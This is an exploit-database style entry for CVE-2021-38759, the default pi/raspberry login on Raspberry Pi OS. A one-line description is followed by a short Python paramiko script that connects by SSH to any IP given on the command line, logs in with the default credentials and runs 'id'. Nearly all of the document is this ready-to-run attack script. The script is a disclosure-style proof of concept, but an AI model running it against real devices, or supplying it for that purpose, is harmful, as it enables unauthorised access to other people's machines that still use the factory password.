Raspberry Pi version 5.10 has default credentials of pi/raspberry. This has been a known standard of theirs for a long time but it has been formally given a CVE.
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# Exploit Title: Raspberry Pi 5.10 - Default Credentials
# Date: 08/12/2021
# Exploit Author: netspooky
# Vendor Homepage: https://www.raspberrypi.com/
# Software Link: https://www.raspberrypi.com/software/operating-systems/
# Version: Raspberry Pi OS <= 5.10
# Tested on: Raspberry Pi OS 5.10
# CVE : CVE-2021-38759
# Initial Release: https://twitter.com/netspooky/status/1468603668266209280
# Run: $ python3 exploit.py IP
import paramiko
import sys
h=sys.argv[1]
u="pi"
p="raspberry"
c=paramiko.client.SSHClient()
c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect(h,username=u,password=p)
i,o,e=c.exec_command("id")
print(o.read())
c.close()